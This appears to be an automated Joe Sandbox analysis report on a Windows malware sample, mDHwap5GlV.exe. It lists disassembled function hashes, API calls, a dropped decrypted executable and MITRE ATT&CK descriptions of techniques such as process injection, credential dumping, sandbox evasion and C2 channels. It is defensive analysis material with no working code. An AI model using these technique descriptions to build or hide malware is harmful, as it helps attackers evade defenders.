Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe
API String ID: 3498533004-2953756688
Opcode ID: 9f8b8e774dd5276a492afceb0bce797af6775b2da15c1362d230e84b248562e0
Instruction ID: 2794b2aaad81bbba93d5e7bb2b42aa81e63b962e5268fac7712cb6a3d35d2e28
Opcode Fuzzy Hash: 9f8b8e774dd5276a492afceb0bce797af6775b2da15c1362d230e84b248562e0
Instruction Fuzzy Hash: C201F2356422147FEB69E739CCC2FA87791EF91714F280164F095EF1EACA60A5218704

Non-executed Functions

Function 03002578 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cacf490f58bdf4ff4af670fc3285697853514b0ee765931d00c2210ba863a8e
Instruction ID: 26bdf883fee199e189e430622af0d30b75551d1adb024e14f6053af165b2e009
Opcode Fuzzy Hash: 2cacf490f58bdf4ff4af670fc3285697853514b0ee765931d00c2210ba863a8e
Instruction Fuzzy Hash: 80614AB1A463017BF311DA38CC44F2B769AFFC4744F594968F9896B3C5D635D94086A0

Function 0300392B Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ebe37c6e54f0a0c42952e6bdaff7e7f7baa17484355cb71ec2e16f261b5ed1bc
Instruction ID: 50b59ff6c4b210b1e2a1627a3ae64b55baa4522eba7fd42f79c12431db8081bc
Opcode Fuzzy Hash: ebe37c6e54f0a0c42952e6bdaff7e7f7baa17484355cb71ec2e16f261b5ed1bc
Instruction Fuzzy Hash: 3141D179A43302AFE736EF29EC45B453FA5ABA5710F2940A5E9087B3E5E37858508F40

Function 03003924 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e3de123b590cc22167cd9cc7a3fb54009edbd0ba1c9486f4537060de2541cd5f
Instruction ID: 9c21fe89b6d746c0e401577feafa62907fd27930f0c67cf47c2c338a31c4c64b
Opcode Fuzzy Hash: e3de123b590cc22167cd9cc7a3fb54009edbd0ba1c9486f4537060de2541cd5f
Instruction Fuzzy Hash: 3541D679643301AFF736EF29DC45B553BA5EBA5710F254061E9087B3E9E37858508F40

Function 03005C53 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05a441c0891c0dfd561c9e0216a6a6203ce76fee15650cabf883646e6f87537e
Instruction ID: 9bde0f137afe168cfb08c16b9c2b8b1b4c01c2151ebbd6744588281284080cdc
Opcode Fuzzy Hash: 05a441c0891c0dfd561c9e0216a6a6203ce76fee15650cabf883646e6f87537e
Instruction Fuzzy Hash: 0711B43540E385EEE716EB148C068EFBBA1AE96604F048D0CE9DA0B391E6759529CF53

Function 030058EE Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a51efcb6cc9668e4e8449ff5553bb487d5a15de56da8dc57f0590d385738fe6d
Instruction ID: 9ad43eb9f17c0b803854042731f824ca579e877878820576cca8cc9a445e9c82
Opcode Fuzzy Hash: a51efcb6cc9668e4e8449ff5553bb487d5a15de56da8dc57f0590d385738fe6d
Instruction Fuzzy Hash: CE11827680E355EED205EB048D058EFBBA0AE96750F45890CE9DA27381D370AA58CB93

Function 030058D3 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f641a5c8e2cfd648b532ea6952536e9673f3d698b80241f0ddd01fb1da96933
Instruction ID: 021b4e17bea256dd4c721878e53d38f75772e2c9ae045fd58f143a95fa498fb6
Opcode Fuzzy Hash: 1f641a5c8e2cfd648b532ea6952536e9673f3d698b80241f0ddd01fb1da96933
Instruction Fuzzy Hash: E401D67680E351DED312EB048D058EFB7A1AEA6750F444A08E9D61B341E370AA5DCBD3

Function 03005C38 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d57dafc21471ef5bbef4e3c411458668f8bc6ea3e153ebf2478196b11eb1ce7a
Instruction ID: 0eed9960dd2239cef76096020443885c0e951279e74602f522ae5d22f883a39d
Opcode Fuzzy Hash: d57dafc21471ef5bbef4e3c411458668f8bc6ea3e153ebf2478196b11eb1ce7a
Instruction Fuzzy Hash: 12F09736C0F2909E93038A148C29DEFBF9059A7A14F080B4CC4D9077C1D5216428CB83

Function 03001237 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b6ad26908321792fdce15bb5755181406fccfd7b79d24d59f7413ac628f0f1f
Instruction ID: de3e439c30994f861647ab55e56fd195421056ce73acf52305d97eea6413894f
Opcode Fuzzy Hash: 2b6ad26908321792fdce15bb5755181406fccfd7b79d24d59f7413ac628f0f1f
Instruction Fuzzy Hash: A0F0827AA065158BE759DA55D480953F3AABBD8360F05C961C808C7780D630E8E285D1

Function 03002932 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3747b216bb7640c08f949b015196ec800bea75b710efc7667a09099d45f6f0fe
Instruction ID: f90bb030580a062295ee52b789f1945b13f4e5ad5930a6be12e71f79af94f4a9
Opcode Fuzzy Hash: 3747b216bb7640c08f949b015196ec800bea75b710efc7667a09099d45f6f0fe
Instruction Fuzzy Hash: 6CF0A0777416198BE725CE11D484B03F39EB7D8730F5686A1C9481B341C530E9C386D4

Function 03005FE5 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d5db53c9d2b2843f85c990c783b0530b4db706162e30474b88069904d49c9e3
Instruction ID: 6f5b6dca8a07a6ef502e47339d6d6177edc8ede7cb20a8d5a5d1108806c571f0
Opcode Fuzzy Hash: 4d5db53c9d2b2843f85c990c783b0530b4db706162e30474b88069904d49c9e3
Instruction Fuzzy Hash: 65E06D76A46219CFD725DF44E580993F7A9FB54360B1182A2CD044B705C336F891CBE0

Function 030106AF Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d33463a0950470cb0c3113834d6c83109d3593579733253442b7ddac65cb253
Instruction ID: cb9eff98ad7b98e51787e3837c4f5d9c76a1ce03c68274e4d2ed000060d04d43
Opcode Fuzzy Hash: 6d33463a0950470cb0c3113834d6c83109d3593579733253442b7ddac65cb253
Instruction Fuzzy Hash: 53D0C5392A1A48DFC645CB48D4D8E50B3F8FB0DA20B058495EA0A8BB36C735FD10DA40

Function 0300370B Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 030f45737306472040fd804f08ade6ffa5201275c9961ef35cd96cc10e73d93a
Instruction ID: 1fd021bf608b809b30b967add5d31bd3175cd19b9863ebbc2356e15c3ecd07a2
Opcode Fuzzy Hash: 030f45737306472040fd804f08ade6ffa5201275c9961ef35cd96cc10e73d93a
Instruction Fuzzy Hash: ECD05EB92055408FE622CB78C980F2AF7E8FB8E230FA444E0F849DB362C624DA009910

Function 030106C0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9ed70d17b65b173f63ea8bde167bd4dbe7c19cd1b27e585218ed96e6e4df4c6
Instruction ID: 58c6f5837427d6eca2c2deaad74ce6c6656098581891570576efec04afcca601
Opcode Fuzzy Hash: f9ed70d17b65b173f63ea8bde167bd4dbe7c19cd1b27e585218ed96e6e4df4c6
Instruction Fuzzy Hash: 42D001392A1A48CFC241CF4CD084E40B3F8FB0DA20B068092FA0A8BB32C334FC00DA80

Function 03003B32 Relevance: 10.5, APIs: 6, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyW.KERNEL32(0302C250,C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe), ref: 03003B42
lstrcpyW.KERNEL32(0302C45C,03024D21), ref: 03003B52
lstrcpyW.KERNEL32(0302C48C,03025221), ref: 03003B62
lstrlenW.KERNEL32(03025221), ref: 03003B6D
lstrcpyW.KERNEL32(0302C694,030232F4,03026D0A,030232F4), ref: 03003B99
lstrcpy.KERNEL32(0302C6F4,03026D0A), ref: 03003BA9

Strings

C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe, xrefs: 03003B38

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID: lstrcpy$lstrlen
String ID: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe
API String ID: 367037083-2953756688
Opcode ID: 43e337d7d32ac8846db8ecff49a501d8b69429def5fcbbe4380596e913d07a7c
Instruction ID: 4565158f1b22f110f15218f2de130cf4e0cc0c4113899f85503cb3989d3b8ebf
Opcode Fuzzy Hash: 43e337d7d32ac8846db8ecff49a501d8b69429def5fcbbe4380596e913d07a7c
Instruction Fuzzy Hash: 400116397C37297EF611F6F04D4FEAEAD64AB99B01F440808B5B2BC883C9E560104762

Function 03003FAE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,33656C4F,00000032,00004E20), ref: 03003FC6
LoadLibraryA.KERNEL32(?,6C656853,2E32336C,006C6C64,?,72436F43,65746165,74736E49,65636E61,00000000,?,6E496F43,61697469,657A696C,00000000,33656C4F), ref: 03004064

Part of subcall function 03001141: LoadLibraryA.KERNEL32(NTDLL,?), ref: 03001209

LoadLibraryA.KERNEL32(?,776C6873,2E697061,006C6C64,?,6C656853,2E32336C,006C6C64,?,72436F43,65746165,74736E49,65636E61,00000000,?,6E496F43), ref: 030040E5

Strings

C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe, xrefs: 030040C2

Memory Dump Source

Source File: 00000007.00000002.3100794717.0000000003001000.00000040.00001000.00020000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3001000_decrypted_app_1.jbxd

Similarity

API ID: LibraryLoad
String ID: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe
API String ID: 1029625771-2953756688
Opcode ID: 578739b7eb0adf8f92794ba55c80884f341b6aa1e9e8e35f3d7aba0ad374e727
Instruction ID: 92eb5772e8b7b7cb6d27b5b02b6c3625415fd8fc71f3696fc51867f245f4d3ac
Opcode Fuzzy Hash: 578739b7eb0adf8f92794ba55c80884f341b6aa1e9e8e35f3d7aba0ad374e727
Instruction Fuzzy Hash: D441A434243305BFEA21FFA6DC86F693B26FF60B01F208160FA00AD6D5D7B599908B55

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mDHwap5GlV.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2voyaqct.rei.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fwhry1nm.cbd.ps1

C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Windows Analysis Report
mDHwap5GlV.exe

Function 09F5E8D0 Relevance: 56.2, Strings: 43, Instructions: 2470
COMMON

Function 00A24C20 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 202
threadmemoryCOMMON

Function 009AF6F0 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 283
COMMON

Function 00A23810 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 259
threadCOMMON

Function 00BD8CD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
libraryCOMMON

Function 00A250E0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 178
threadCOMMON

Function 00A244F0 Relevance: 5.4, APIs: 4, Instructions: 364
memoryCOMMON

Function 00A817B0 Relevance: 4.5, APIs: 3, Instructions: 47
COMMON

Function 00A86D70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 128
COMMON

Function 00A265C0 Relevance: 3.3, APIs: 2, Instructions: 330
COMMON

Function 009790A0 Relevance: 3.2, APIs: 2, Instructions: 162
memoryCOMMON

Function 09B719C0 Relevance: 3.2, APIs: 2, Instructions: 152
networkCOMMON

Function 00A26440 Relevance: 3.1, APIs: 2, Instructions: 116
COMMON

Function 00A28720 Relevance: 3.1, APIs: 2, Instructions: 113
threadCOMMON

Function 00BC1F60 Relevance: 3.1, APIs: 2, Instructions: 58
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre